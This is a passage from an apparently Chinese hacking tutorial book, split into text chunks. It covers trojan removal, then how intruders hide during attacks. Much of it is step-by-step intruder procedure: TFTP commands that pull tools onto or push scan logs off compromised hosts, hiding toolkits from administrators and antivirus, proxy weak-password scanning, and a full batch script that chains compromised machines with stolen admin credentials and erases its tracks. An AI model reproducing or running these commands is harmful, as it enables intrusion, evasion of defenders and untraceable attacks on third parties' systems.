    {"text": "6.10.10 蓝色火焰 蓝色火焰客户端与服务端连通信通过 19191 端口进行； 如果是微型版蓝色火焰（这是只有 10KB 大小的微型版蓝色火焰） ，则使用 9191 端口连接。 所以，也可以通过这个方法来发现“蓝色 火焰” ，方法是在 DOS 窗口下，运行 netstat －a 命令即可，如果发现有 19191 或 9191 端口开放， 就表示机器已经中了木马。"},
    {"text": "（1）删除木马在注册表中建立的键值 在“开始”菜单的“运行”中输入 Regedit，展开注册表 HKEY_LOCAL_MACHINE\\Software\\ Microsoft\\Windows\\CurrentVersion\\Run ， 删 除 串 值 Network Services 及 其 键 值 C:\\WINDOWS\\ SYSTEM\\tasksvc.exe。"},
    {"text": "（2）恢复文件关联 到注册表 HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command 和 HKEY_LOCAL_MACHINE\\ 372 第 6 章 基于木马的入侵 Software\\CLASSES\\txtfile\\shell\\open\\command 下，将 Windows\\system\\ sysexpl.exe%1 更改为： NOTEPAD.exe %1。"},
    {"text": "① 到注册表 HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run 下，删除右边窗口中的“C:\\WINDOWS\\Cmctl32.exe”。 ② 重新启动到 DOS 下，或用进程管理软件终止进程“Cmctl32.exe”，然后到 C:\\Windows 文 件夹下删除木马文件 Cmctl32.exe 即可。"},
    {"text": "答：尽管捆绑器能够捆绑 txt 以及 jpg 等多种格式的文件，但捆绑器只能生成一种格式的文件， 即扩展名为 exe 的文件。 如果让捆绑器生成除 exe 之外格式的文件，当然是打不开的。"},
    {"text": "6.12 小结 本章介绍了木马的由来及计算机木马的特点、发展历史，并精心挑选出几款典型的木马来介 绍入侵者如何使用木马来获取远程主机的控制权。 详细介绍了几种入侵者经常使用的种植木马技 术，通过了解后，大家便可以一眼识出入侵者的木马伎俩。"},
    {"text": "373 第 7 章 隐 藏 技 术 在以往的介绍中，入侵者很难避免与远程主机／服务器直接接触，这样就很容易暴露他们的 真实身份，因此入侵者往往需要使用一些额外的手段来隐藏他们的行踪。"},
    {"text": "“隐藏”在黑客技术中是一个很古老的话题了，相应的技术也有很多。 随着入侵与反入侵技术 的发展，如今的隐藏技术也越来越巧妙，甚至有些技术不被公开。"},
    {"text": "本章就来谈谈这些常用的隐藏技术，来看看入侵者如何在入侵过程中隐藏自己。 通过本章的 学习，大家能够了解以下 3 个方面的隐藏技术：  文件传输与隐藏技术  扫描隐藏技术  入侵隐藏技术 可见，以上 3 个方面涵盖了整个入侵过程，从扫描目标、文件传输到最后的入侵，都可以使 用隐藏技术来隐蔽行踪。 7.1 文件传输与文件隐藏技术 所谓“隐藏入侵” ，是指入侵者利用其他计算机代替自己执行扫描、漏洞溢出、连接建立、远 程控制等操作。"},
    {"text": "在所有的隐藏技术中，入侵者几乎都需要把他们常用的溢出、连接、控制等工具上传到肉鸡 中执行，或把肉鸡上的文件下载到本地计算机来分析，因此，在隐藏技术中必然涉及入侵者将文 件传输到肉鸡中并隐藏的问题。"},
    {"text": "7.1.1 IPC$文件传输 基于 IPC$进行的文件传输已经在第 2 章中介绍过了。 IPC$方法可以通过命令行、映射硬盘两 种方式进行文件传输，详细的使用过程略过，这里主要讨论这两种传输方式的特点。 1．命令行方式实现 （1）copy 命令 命令格式：copy 源文件\\\\目标 IP\\目标目录 说明：copy 命令使用命令行方式来传输文件，通常来一个一个文件地拷贝。 （2）xcopy 命令 命令格式：xcopy 目标文件\\\\目标 IP\\目标目录/E 第 7 章 隐藏技术 说明：xcopy 命令也是通过命令行来实现文件的传输，但该命令一次能够传输多个文件。"},
    {"text": "2．映射硬盘方式 使用命令：net use <本地盘符> \\\\目标 IP\\目标磁盘或用鼠标右键单击桌面上的“网上邻居”图 标，在弹出的菜单中选择“映射网络驱动器”进行映射。 说明：该方式使用图形界面进行操作，使用鼠标拖放操作就可以与远程主机进行多个文件的传输 操作，但该方式同样不适合大体积文件的传输。"},
    {"text": "其中的“多跳”传输指的是在多台主机之间进行的文件传输，入侵 者把文件通过计算机 A 传到计算机 B，再通过计算机 B 传到计算机 C，直到传入最末一个肉鸡，按照 这种方式入侵者最终会使用最末的那个肉鸡进行入侵。"},
    {"text": "当入侵者通过漏洞进入远程服务器 （如通过 Unicode 漏洞），但没有得到该服务器上的管理员账号或者远程主机没有开放 IPC$的时候， FTP 传输便可以发挥它的作用。 这时候，入侵者可以使用命令“FTP <IP>”登录到 FTP 服务器并 使用“Get”、“Put”命令进行文件传输，其中参数<IP>是 FTP 服务器的地址。 但是，使用 FTP 传 输需要事先准备 FTP 服务器，入侵者可以在本地建立也可以利用其他肉鸡建立 FTP 服务器。"},
    {"text": "除了 FTP 服务器外，还有另一个比较简单的类 FTP 服务的 TFTP 服务器。 TFTP 服务器建立方便，不需 要设置账号和权限，是入侵者经常使用的文件传输方法。"},
    {"text": "7.1.3 打包传输 很多时候，入侵者需要把常用的入侵工具传输到新获得的肉鸡的内部，如果需要传输文件的 体积比较大，或者是进行“多跳”传输，入侵者就需要通过给这些文件“打包”来减少消耗在“长 途”线路上的时间。"},
    {"text": "入侵者可以通过工具把大量的文件或文件 夹打成一个 RAR 或 ZIP 格式的“压缩包”，一来可以减小文件的体积，二来可以把多个文件或文 件夹打包成一个文件，从而简化传输命令。 等该压缩包被传到目的肉鸡后，入侵者便需要使用工 具把 RAR 或 ZIP 压缩包进行还原，即进行文件解压缩操作。 不过，如果要在肉鸡中将 RAR、ZIP 格式的压缩包解压，入侵者就需要使用命令行下的 RAR、 ZIP 解压工具，这里介绍一款命令行下的压缩工具——rarx300，这款工具能在命令行方式下对文件 进行压缩与解压缩。"},
    {"text": "2．rarx300 使用方法 第一步：在本地执行 rarx300.exe，自解压出 rar 文件夹，rar 文件夹中的 rar32.exe 才是真正用 来压缩和解压缩的程序。 第二步：进入 rar 文件夹中，通过 rar32.exe 对目标文件进行压缩或解压缩。 下面对 rar32 的压 375 黑客攻防实战详解 缩和解压缩命令进行介绍。  压缩命令：rar32 a <rar 文件> <目标文件或文件夹> 参数说明： a：表示把文件或文件夹添加到 rar 文件中。 <rar 文件>：预生成的 rar 压缩文件。 <目标文件或文件夹>：预压缩的文件或文件夹。 例如，使用命令 rar32 a C:\\hack.rar C:\\hack 把 C 盘中的 hack 文件夹打包成 hack.rar。  解压缩命令：rar32 x <rar 文件> <解压后存放路径> 参数说明： x：表示对 rar 文件进行解压缩操作，解压后还原压缩前文件夹中的目录结构。 <rar 文件>：rar 格式的压缩文件。 <解压后存放路径>：指定 rar 文件在解压后的存放路径。 例如，使用 rar32 x C:\\hack.rar C:\\ 将 C:\\中的 hack.rar 文件解压缩到 C:\\中。"},
    {"text": "在本地执行 rarx300.exe，自解压出 rar 工具包，再使用 cd 命令进入 rar 工具包，如图 7-1 所示。 图 7-1 然后使用命令 rar32 a xscan.rar xscan，把 xscan 文件夹打包成 RAR 文件，如图 7-2 所示。"},
    {"text": "进入 admin$目录，即 C:\\winnt\\，然后执行 rarx300.exe 生成 RAR 工具包，如图 7-7 所示。 图 7-7 进入 RAR 工具包，使用命令“rar32 x C:\\winnt\\xscan.rar C:\\winnt\\tools\\”把扫描器 X-Scan 解 压缩到 C:\\winnt\\tools 目录中，如图 7-8 所示，该 tools 目录并不用事先建立，在解压的时候会自动 生成，但是不要忘记 tools 后的“\\”。"},
    {"text": "7.1.4 文件隐藏 从前面的介绍可以看出，把一个工具传到远程主机上并不是一个简单的任务，所以入侵者都 希望能够把工具长期地保留在肉鸡上。 因此，入侵者还需要使用“文件隐藏”技术把文件长期保 留在肉鸡上。"},
    {"text": "一般来说，入侵者喜欢给工具箱起一个有“迷惑”性的名字，并放在文件比较多或目录比较 “深”的地方以掩人耳目，在众多的目录中“C:\\winnt\\”和“C:\\winnt\\system32\\”就是文件比较多 的目录，因此这里也是入侵者经常用来存放工具箱的地方。"},
    {"text": "入侵者为了更隐蔽的存放他 们的工具箱，就必须使用更加深入的文件隐藏技术，一来是防止肉鸡管理员目测看出，二来是为 了防止杀毒软件的扫描、查杀。"},
    {"text": "下面简单了解一下入侵者隐藏文件的方法。 1．简单隐藏 使用 attrib 命令为文件添加“隐藏”和“系统”属性。 命令格式为：attrib +h +s <文件> 参数说明： +h：给目标文件添加隐藏属性。 +s：给目标文件添加系统属性。 <文件>：用来指定目标文件。"},
    {"text": "例如：如果要给 tools 文件夹添加隐藏属性，在 MS-DOS 中键入“attrib +h +s C:\\winnt\\ tools” 来实现，如图 7-10 所示。 图 7-10 该命令完成后，tools 文件夹同时兼有隐藏和系统的属性，只有在“文件夹选项”中同时设置 “显示所有文件和文件夹”及“隐藏受保护的操作系统文件（推荐） ” ，如图 7-11 所示，才可以看 到 tools 这个文件夹。"},
    {"text": "根据经验，这种方法可以逃过绝大多数管理员的目测，适合隐藏无毒工具，有时候也能够逃 过一定设置（不扫描系统文件）的杀毒软件。 378 第 7 章 隐藏技术 2．利用专用文件夹隐藏文件 在 Windows 系统中，可以双击“计划任务”、“控制面板”、“回收站”等图标来实现一些系统 的管理操作，实际上也可以把这些图标看成文件夹。"},
    {"text": "表面看上去，并不能在这些文件夹中进行文件存放、拷贝、粘贴等文件类操作，但实 际上，这些“系统专用文件夹”确实可以用来存放文件，而且是相当隐蔽的。"},
    {"text": "图 7-11 图 7-12 然后使用 cd 命令进入该 Tasks 文件夹，如图 7-13 所示。 图 7-13 进入该文件夹后，使用 dir 命令查看一下 Tasks 文件夹中的文件，如图 7-14 所示。 图 7-14 在命令行方式下可见，扫描器 SFind.exe 已经存放到 Tasks 文件夹中了。"},
    {"text": "现在重新回到图形中，进入 C:\\winnt\\目录，打开 Tasks 文件夹，如图 7-15 所示，可见，并没有发现其中存在任何文件，因此实现了文件的隐藏。"},
    {"text": "首先进入 Tasks 文件夹，然后在命令行下，使用 SFind 来扫描 192.168.245.133 开放的端口，如图 7-16 所示，可以证明 SFind 仍旧可以正常工作。 379 黑客攻防实战详解 图 7-15 图 7-16 通过该方法实现文件隐藏后，只有在命令行里才能发觉 Tasks 中含有 SFind.exe，而且像 Tasks 这种专用文件夹在 Windows 系统中有很多，它们都可以被入侵者用来隐藏文件，而一般的管理员 是不会使用命令一个一个去查看这些专用文件夹的。"},
    {"text": "也就是说，通过该方法来隐藏文件，入侵者不但可以逃过管理员们的目测发 现，同样能逃避一些杀毒软件的查杀。 实例二：自建专用文件夹 除了利用系统自带的专用文件夹外，入侵者还能自己建立这样的文件夹，使文件的隐藏更加 自由。"},
    {"text": "首先，新建一个文件夹，并给该文件夹重新命名，假设命名为“fakeTasks. {D6277990-4C6A- 11CF-8D87-00AA0060F5BF}” ，注意 fakeTasks 后面有个“点儿”，这里可以认为“{D6277990-4C6A- 11CF-8D87-00AA0060F5BF}”是该文件夹的扩展名，重命名成功后，会发现该文件夹的名称只留 下了“fakeTasks”，而“扩展名”和“fakeTasks”后面的“点儿”都消失了，同 时该文件夹与系统自带的计划任务完全一样，如图 7-17 所示。"},
    {"text": "表 7-1 文件夹扩展名 专用文件夹功能 {2227A280-3AEA-1069-A2DE-08002B30309D} 添加、删除和配置本地及网络打印机 {645FF040-5081-101B-9F08-00AA002F954E} 存储已删除的项目（除非您永久删除），即回收站 {7007ACC7-3202-11D1-AAD2-00805FC1270E} 与其他计算机、网络和 Internet 连接 {871C5380-42A0-1069-A2EA-08002B30309D} 查找并显示 Intranet 上的信息和网站，即 IE 浏览器 {992CFFA0-F557-101A-88EC-00DD010CCC48} 与其他计算机、网络和 Internet 连接 {BDEADF00-C265-11d0-BCED-00A0C90AB50F} 网络文件夹（Web Folders） {D20EA4E1-3957-11d2-A40B-0C5020524153} 管理工具 {D4480A50-BA28-11d1-8E75-00C04FA31A86} 连接到共享文件夹、Web 文件夹或 FTP 站点 {D6277990-4C6A-11CF-8D87-00AA0060F5BF} 计划任务 {21EC2020-3AEA-1069-A2DD-08002B30309D} 控制面板 380 第 7 章 隐藏技术 7.1.5 常见问题与解答 1．问：为什么不能使用图形界面的 WinRAR 程序为工具包解压？"},
    {"text": "补充一点，如果远程主机开放有 3389 服务，此时可以使用远程桌面与之进行连接，这样便可 以使用图形界面的 RAR 进行解压缩操作。 2．问：使用图形界面工具 WinRAR 在本地压缩，然后在远程主机内使用命令下的工具 rar32 来解压可以吗？ 答：可以的，但为了保证压缩和解压缩可靠、成功，最好使用同一版本的 RAR 进行压缩、解 压缩。 3．问：使用 rar32 /?来查看该工具的使用方法，从中可知 rar32.exe 还有一个参数“e”也是用 来进行解压缩的，如果不使用 rar32 x 而使用 rar32 e 来解压可以吗？ 答：使用 rar32 e 虽然也是对压缩包进行解压操作，但是这个命令并不能还原出该目录在压缩 前的目录结构，所以可能会造成一些工具因找不到文件而无法工作，这里还是建议使用 rar x 来进 行解压。"},
    {"text": "对于一个“成熟”的入侵者，一次详细的扫 描也许是不分昼夜的，他们通过对远程主机全方位“诊断”来找出系统的缺陷，从而决定如何下 手入侵。"},
    {"text": "通常，入侵者通过制作“扫描代理肉鸡”的方法来隐藏自己的扫描行为，本节就来给大家介 绍一下，入侵者都是如何制作扫描代理肉鸡，并利用它们实现隐藏扫描的。 手工制作扫描代理是入侵者们制作扫描型肉鸡的通用方法，其思路是把扫描器传输到肉鸡内 部，然后入侵者通过远程控制使该肉鸡执行扫描程序。"},
    {"text": "要在 Shell 里面完成扫描任务就需要使用 X-Scan 的命令行工具，下面介绍 X-Scan 扫描器在命 令行下的使用方法，该工具有两个扫描命令，如下： 381 黑客攻防实战详解 方法一：xscan -host <startIP>[-<endIP>] <module> [option] 方法二：xscan -file <host_list_file> <module> [option] 图 7-18 下面对命令参数进行说明。  <module> :  all——扫描所有项目  tracert——扫描路由信息  snmp——扫描 snmp 信息  port——扫描开放端口  ssl——扫描 SSL 漏洞  rpc——扫描 RPC 漏洞  sql——扫描 SQL-Server 弱口令  ftp——扫描 FTP 弱口令  ntpass——扫描 NT-Server 弱口令  netbios——扫描 NetBIOS 信息  smtp——扫描 SMTP 漏洞  pop3——扫描 POP3 弱口令  http——扫描 CGI 漏洞  iis——扫描 IIS 漏洞  bind——扫描 BIND 漏洞  finger——扫描 finger 漏洞  sygate——扫描 sygete 漏洞  dcomrpc——扫描最新的 dcomRPC 漏洞  v——显示详细信息  p——只扫描能 ping 通的主机  o——如果主机没有开放端口，则忽略扫描  t <最大并发线程数量[最大并发主机数量]>——默认为 10010 例如：xscan -host 192.168.1.1 -all xscan -host 192.168.1.1-192.168.254.254 -port -ntpass -p -t 100 xscan -file host.lst -port -cgi -t 100,5 -v -o 了解了 X-Scan 的使用方法，下面以扫描目标网络上的 NT-Server 弱口令为例来介绍一下具体 使用方法。 过程如下：先使用 cd 命令进入扫描器所在目录，然后在 MS-DOS 中键入命令“xscan –host 210.□.□.2-210.□.□10 –ntpass”进行扫描，如图 7-19 所示。"},
    {"text": "当扫描结束后，使用 rar32 对扫描结果进行打包，目的是为了方便传输、节省传输时间，在 MS-DOS 中键入命令“rar32 a C:\\winnt\\log.rar C:\\winnt\\tools\\xscan\\log”，其中“C:\\winnt\\tools\\ xscan\\log”是 X-Scan 扫描结果的保存路径， “C:\\winnt\\log.rar”是扫描结果压缩后的 RAR 文件， 如图 7-21 所示。 图 7-21 完成打包后，在本地打开 TFTP 服务器，等待传输文件，在该肉鸡上键入命令“tftp 192.168.245.1 put C:\\winnt\\log.rar”表示把“C:\\winnt\\log.rar”传输到 192.168.245.1 上，如图 7-22 所示，其中 192.168.245.1 是本地的 IP 地址。"},
    {"text": "7.2.1 流光 Sensor 流光 Sensor 是集成在流光扫描器中的工具，用来管理、制作扫描型肉鸡，功能非常强大。 只 要获得远程主机的 NT 弱口令，入侵者便可以通过流光扫描器把该主机加入流光 Sensor 中成为扫 描型肉鸡，并能够对这些扫描型肉鸡进行统一管理。 下面举例子来介绍一下入侵者是如何把一个 存在 NT 弱口令的主机添加到流光 Sensor 中去的。 思路：加 NT 弱口令主机到流光 Sensor，利用肉鸡扫描，获取扫描结果。 步骤 1 添加 NT 弱口令主机到流光 Sensor。"},
    {"text": "然后在其中填入目标网段起始、结束 IP，在“检测项目”中只选择扫描“IPC”， 即只扫描目标网段主机的弱口令，单击“确定”按钮后，选择“本地主机” ，然后开始扫描。"},
    {"text": "图 7-24 在图 7-24 界面中，单击界面下方的扫描结果来选择“安装 Fluxay Sensor”，如图 7-25 所示。 图 7-25 在图 7-25 弹出的窗口中，选择“安装 Fluxay Sensor”后，会自动打开“安装 Fluxay Sensor” 参数设置窗口，如图 7-26 所示。"},
    {"text": "通过选择“工具（T）”→“Fluxay Sensor 工具”→“管理 Fluxay Sensor（M）”（如图 7-28 所 示），来打开“Sensor 管理工具”窗口，如图 7-29 所示。"},
    {"text": "方法如下：单击“检测（D）”按钮可以查看 Sensor 的状态，IP 地址前 385 黑客攻防实战详解 面绿色的图标代表该 Sensor 可以正常工作，黄色的图标代表该 Sensor 存在问题，不能正常工作，灰 色的图标代表该 Sensor 不在线或有防火墙。"},
    {"text": "过程如下：在流光主界面上通过“探测（R）”→“高级扫描工具（A）” 打开，在“高级扫描设置”中填入目标网段的起始 IP 地址和结束 IP 地址，然后在“检测项目” 中选择所要扫描的项目，单击“确定”按钮后，来到“选择流光主机”对话框，如图 7-30 所示。"},
    {"text": "可以看到，图 7-30 中的主机列表多了一个 IP 地址为 192.168.245.133 的计算机，该计算机就是刚 才添加到流光 Sensor 中的扫描型肉鸡，也就是专门用来代替入侵者执行扫描任务的计算机。 此时， 在“主机”中选择 192.168.245.133，表示使用该扫描型肉鸡完成扫描任务，如图 7-30 所示。"},
    {"text": "可见，使用流光自带的 Sensor 功能，入侵者可以很方便地 制作、管理、控制肉鸡进行扫描，不用再进行繁杂的手工制作 了，只要扫描出远程主机的 NT 弱口令，单击几下鼠标就可以制 作一个扫描型肉鸡，既方便又快捷，在短时间内就可以为入侵 者制作大量的肉鸡，惟一的缺点就是流光 Sensor 只能做一级代 图 7-32 理，入侵者不能使用它来实现“多跳”扫描。 7.2.2 其他工具 除了流光，还有一些工具可以为入侵者实现代理扫描的功能，但这种代理扫描只是数据包简 单的转发，功能远远比不上流光的 Sensor 功能。"},
    {"text": "在这类工具中，X-Way 就是个很好的例子，它能 够使用各种类型的代理来扫描，而且在每种扫描方式中，都可以使用代理扫描，如图 7-33 所示。"},
    {"text": "图 7-33 图 7-34 7.2.3 常见问题与解答 1．问：使用本地主机扫描出远程主机的 NT-Server 弱口令，但就是安装不了 Fluaxay Sensor， 总是拷贝文件失败，为什么？ 答：出现这种情况的原因可能是远程主机上安装有杀毒防火墙，它删除了流光上传到它内部 的 Sensor 配置文件，所以拷贝文件失败。 2．问：获得远程主机的 NT-Server 弱口令，但安装 Sensor 的时候出现“启动服务失败” ，请 问什么原因？ 答：可能是该主机关闭了启动流光所需的系统服务如 RPC，或远程主机有网络防火墙，还可 能正在运行杀毒防火墙。"},
    {"text": "387 黑客攻防实战详解 7.3 入侵隐藏技术 当入侵者找到远程主机／服务器的系统缺陷后，会对其进行试探性的入侵。 此时，入侵者将 要面对的可能不只是缺乏经验的个人计算机用户，也许在远程主机／服务器后面，隐藏着的是网 络安全专家，或者说，也许这台主机／服务器只是对方布下的一个网络陷阱。 此时，对于有经验 的入侵者，他们会在入侵的时候步步小心，使用各种方法隐藏自己，尽量不去直接与目标接触， 以免直接暴露给远程主机／服务器。"},
    {"text": "其中，被称之为“代理”或“跳板”的技术就是入侵者惯用 的隐藏手段。 本节就来对这种“跳板”技术做一下介绍，谈谈入侵者如何在入侵中隐藏自己。 7.3.1 跳板技术简介 1．什么是跳板 这里指的跳板可称之为“入侵代理”或“入侵型肉鸡” ，它存在于在入侵者与远程主机／服务 器之间，用来代替入侵者与远程主机／服务器建立网络连接或者漏洞溢出，这种间接的连接方式 可以避免与远程主机／服务器的直接接触，从而实现入侵中的隐藏。"},
    {"text": "在图 7-35 描述的攻击模型中，入侵者（IP 地址为 1.1.1.1）通过跳板一（IP 地址为 2.2.2.2）、 跳板二（IP 地址为 3.3.3.3）与远程主机／服务器（IP 地址为 4.4.4.4）建立连接，也就是说“入侵 者”与“远程主机／服务器”之间的数据包都是通过“跳板一”和“跳板二” 传输的。"},
    {"text": "还可以看 出，在该攻击模型中，与远程主机／服务器直接接触的只有“跳板二”主机。 因此，即使入侵行 为被远程主机／服务器发觉，能够直接查出也只是“跳板二”主机，入侵者主机没有直接暴露给 远程主机／服务器，实现了入侵中的隐身。 入侵者 跳板一 跳板二 远程主机／服务器 （1.1.1.1） （2.2.2.2） （3.3.3.3） （4.4.4.4） 跳板网络 图 7-35 此外，在图 7-35 所示的攻击模型中，如果远程主机／服务器想查出入侵者的真实 IP 地址，就需 要通过“跳板二”找到“跳板一” ，再从“跳板一”找到入侵者。 对于这样一个顺藤摸瓜的过程，就算 只有两个跳板，想查出入侵者的真实 IP 也不容易，何况入侵者可以使用 3 台、4 台，甚至更多的跳板。 7.3.2 手工制作跳板 在任何时候，通过手工敲入一条条命令来实现入侵都是入侵者最通用、最原始，而且最有效 的方法，在这种方法中，入侵者通过一条条命令把一个个“肉鸡”连接起来，从形成一个跳板网 络来实现隐身的目的。 虽然，比起现成的跳板制作工具，手工方法比较烦琐，效率也不高，但是 通过手工方法制作出来的跳板更加容易被入侵者控制，灵活性更强。 从跳板的发展历史来看，这里 有必要介绍一下如何通过 Windows 系统自带的命令手工制作跳板。"},
    {"text": "388 第 7 章 隐藏技术 1．实例一：一级跳板制作 如图 7-36 所示的一级跳板模型，在该攻击模型中，入侵者与远程主机／服务器之间只有一个 肉鸡用来充当入侵跳板，这也是最简单的跳板网络。 入侵者 一级跳板 远程主机／服务 （1.1.1.1） （2.2.2.2） 器（3.3.3.3） 跳板网络 图 7-36 （1）任务分析 首先，入侵者要实现的目的是隐藏自己的 IP 地址，因此，对远程主机／服务器所作的任何操 作都要经过 IP 地址为 2.2.2.2 的这台跳板进行。"},
    {"text": "因此，在离开 一级跳板之前，入侵者还要删除入侵工具、清除远程主机／服务器以及跳板上的日志文件，甚至 是对进行系统破坏。 （2）实现 通过前面的分析，可以得出以下结论：入侵者利用一级肉鸡跳板对远程主机／服务器进行入 侵的时候，需要先后实现“登录肉鸡” 、 “上传工具” 、 “执行入侵任务”、 “删除工具”、 “清除日志” 等任务。"},
    {"text": "首先在本地建立 TFTP 服务器，然后在一级跳板中执行命令“tftp -i 210.30.□.□ get idq.exe C:\\winnt\\tasks\\idq.exe” 把存放于本地 TFTP 目录中的工具“idq.exe”上传到一级跳板的 C:\\winnt\\tasks 目录中，命令执行过程如图 7-40 所示。"},
    {"text": "首先在本地与一级跳板建立 IPC$连接，然后使用 copy 或 xcopy 命令把工具“idq.exe”上传到 肉鸡中的指定文件夹中，命令执行过程如图 7-41 所示。"},
    {"text": "入侵者 一级跳板 二级跳板 远程主机／服务器 （1.1.1.1） （2.2.2.2） （3.3.3.3） （ 4.4.4.4） 跳板网络 图 7-42 在图 7-42 中，入侵者通过一级跳板（IP 地址为 2.2.2.2）、二级跳板（IP 地址为 3.3.3.3）来入 侵远程主机／服务器（IP 地址为 4.4.4.4）。"},
    {"text": "对于该命令的说明如下：  “%1”——将用执行 bat 文件时输入的第一个参数代替；  “%2”——将用执行 bat 文件时输入的第二个参数代替；  “%3”——将用执行 bat 文件时输入的第三个参数代替；"},
    {"text": "391 黑客攻防实战详解 例如，在 MS-DOS 中键入命令“up.bat 2.2.2.2 administrator abcd”相当于执行命令“opentelnet.exe \\\\2.2.2.2 administrator abcd 1 22” 。"},
    {"text": "② 在制作过程中，还需要把所需工具一个个地上传至最后一个肉鸡跳板。 也就是说，要把工 具从本机上传到肉鸡跳板一，再从肉鸡跳板一上传至肉鸡跳板二，等等。"},
    {"text": "因此，在 up.bat 中写入如下命令： net use \\\\%1\\ipc$ %3 /user:%2 为了拷贝文件，在 up.bat 中写入： copy rarx300.exe \\\\%1\\admin$\\rarx300.exe copy opentelnet.exe \\\\%1\\admin$\\opentelnet.exe copy tools.rar \\\\%1\\admin$\\tools.rar copy up.bat \\\\%1\\admin$\\up.bat 通过上述命令，入侵者便可以把所需工具上传至下一级跳板。 不过，在文件传输成功后还需 要删除 IPC$连接，因此还要在该 up.bat 中写入如下命令： net use * /del ③ 删除文件。"},
    {"text": "因此，在 up.bat 中写入如下命令： del rarx300.exe del opentelnet.exe del tools.rar del up.bat 综上所述，up.bat 文件的内容如下： opentelnet.exe \\\\%1 %2 %3 1 22 net use \\\\%1\\ipc$ %3 /user:%2 copy rarx300.exe \\\\%1\\admin$\\rarx300.exe copy opentelnet.exe \\\\%1\\admin$\\opentelnet.exe copy tools.rar \\\\%1\\admin$\\tools.rar copy up.bat \\\\%1\\admin$\\up.bat net use * /del del rarx300.exe del opentelnet.exe del tools.rar del up.bat 步骤 3 制作跳板。 首先把 rarx300.exe、opentelnet.exe、tools.rar 和 up.bat 这 4 个文件拷贝到本地文件夹 abc 中。"},
    {"text": "在 MS-DOS 中键入“up.bat 210.□.□.112 administrator acer”命令来制作第一个跳板，如图 7-43 所示。 其中“210.□.□.112”是一级跳板的 IP 地址， “administrator”和“acer”分别是一级跳板的管理员账号和密码。"},
    {"text": "需要说明的是，在图 7-43 所示的执行过程中会出现如下询问： C:\\abc>net use * /del 您有以下的远程连接： 392 第 7 章 隐藏技术 \\\\210.□.□.112\\ipc$ 继续运行会取消连接。"},
    {"text": "图 7-45 取得该跳板的命令行控制界面后，如图 7-46 所示。 图 7-46 进入该跳板后，使用同样的方法进行二级跳板的制作，过程如图 7-47 所示。"},
    {"text": "接下来所要做的就是在跳板二上把所需工具解压缩，准备入侵远程主机／服 务器，过程如下所示。 首先把该入侵工具拷贝到 C:\\winnt\\tasks\\中，然后使用工具“rarx300”解压还原出 RAR 工具 包，进入 RAR 工具包，再使用命令 rar32 x C:\\winnt\\tasks\\tools.rar C:\\winnt\\tasks\\tools\\ 把所需的入 侵工具解压缩到 tasks 文件夹中，如图 7-48 所示。 393 黑客攻防实战详解 然后进入 tasks 目录，使用入侵工具对远程主机／服务器进行漏洞溢出，如图 7-49 所示。"},
    {"text": "7.3.3 Sock5 代理跳板 1．关于 Sock5 代理跳板 在 7.3.2 节中，入侵者通过手工输入命令的方法来远程控制肉鸡跳板，从而实现入侵中的隐身。"},
    {"text": "下面就来介绍如何 通过 Sock5 代理服务器实现入侵中的隐身。 众所周知的是，通过 Sock5 代理服务器可以使 QQ 在网络中隐藏 IP 地址，那么它是通过什么 来隐藏 IP 地址呢？"},
    {"text": "本机 QQ Sock5 代理 对方 QQ （1.1.1.1） （2.2.2.2） （3.3.3.3） 图 7-50 在图 7-50 所示的连接模型中，本机 QQ（IP 地址为 1.1.1.1）发出去的信息都是通过 Sock5 代 理服务器（IP 地址为 2.2.2.2）转发给对方 QQ（IP 地址为 3.3.3.3）的。 因此，在 IP 地址为 3.3.3.3 的 QQ 看来，只有 IP 地址为 2.2.2.2 的 Sock5 代理服务器正在与它进行通信，殊不知在 Sock5 代理 服务器后面隐藏着的主机才是真正进行通信的 QQ 主机。 这就是 QQ 通过 Sock5 代理服务器实现 IP 地址隐藏的整个过程。 从 QQ 隐藏 IP 地址的过程来看，通过 Sock5 的数据包的转发，能够让 QQ 在网络中隐藏真实 的 IP 地址。"},
    {"text": "在前面已经分析过，在入侵过程中，入侵者不仅仅需要隐藏自 394 第 7 章 隐藏技术 己的 IP，更重要的是他们能够使用各种各样的远程控制工具和溢出程序对远程主机／服务器实现 攻击与入侵。"},
    {"text": "不过按照相同的原理，入侵者对图 7-50 所示连接模型进行一些修改后，同样可以借助 Sock5 代理来实现入侵中的隐身，修改后的攻击模型如图 7-51 所示。 入侵者 Sock5 代理网络 肉鸡跳板 远程主机／服务器 （1.1.1.1） （2.2.2.2~5.5.5.5） （6.6.6.6） （7.7.7.7） 跳板网络 图 7-51 在如图 7-51 所示的攻击模型中，入侵者（IP 地址为 1.1.1.1）与远程主机／服务器（IP 地址为 7.7.7.7）之间通过 Sock5 代理网络（IP 地址为 2.2.2.2~5.5.5.5）与肉鸡跳板（IP 地址为 6.6.6.6）组 成的“跳板网络”实现了通信连接的建立。 也就是说，入侵者可以通过代理网络与肉鸡跳板（IP 地址为 6.6.6.6）建立 Telnet 连接，从而控制肉鸡跳板实现对远程主机／服务器（IP 地址为 7.7.7.7） 的入侵。"},
    {"text": "2．实例一：只有一台 Sock5 代理的跳板网络 （1）简介 首先介绍如何制作一个最简单的跳板网络，该跳板网络只使用一台 Sock5 代理服务器，参见 图 7-52 所示的攻击模型。 入侵者 Sock5 代理 肉鸡跳板 远程主机／服务器 （1.1.1.1） 网络（2.2.2.2） （3.3.3.3） （4.4.4.4） 跳板网络 图 7-52 （2）准备工作 从图 7-52 所示的攻击模型可知，入侵者需要一台肉鸡跳板和一台 Sock5 代理服务器来组建跳 板网络。"},
    {"text": "方法如下：打开 QQ，然后在 QQ 主界面中单击“QQ 菜单”→“系统参数”。 然后在“QQ 参数设 置”对话框中单击“网络设置”选项卡，并在“网络设置”中填入代理服务器的 IP 地址以及端口 号进行测试。"},
    {"text": "（3）登录肉鸡跳板 首先介绍一款优秀的远程登录软件 S-Term。 其实该软件是一款非常优秀的 Telnet 终端，入侵 者可以通过它登录到肉鸡跳板。 此外，还可以在 S-Term 中自由设置登录端口号、设置一些关于 Sock5 代理的参数等，因此这里选择使用该软件来登录肉鸡跳板，S-Term 的界面如图 7-56 所示。"},
    {"text": "打开 S-Term，在主界面中通过“文件（F）”→“快速登录[Q]”或单击“ ”按钮打开“快 速登录”窗口，然后在“快速登录”窗口中填入所需参数。"},
    {"text": "在“主机地址”中填入肉鸡跳板的 IP 地址，在端口中填入数字“22”，其中“22”号端口是肉鸡跳板用来提供 Telnet 服务的端口，填好 后如图 7-57 所示。"},
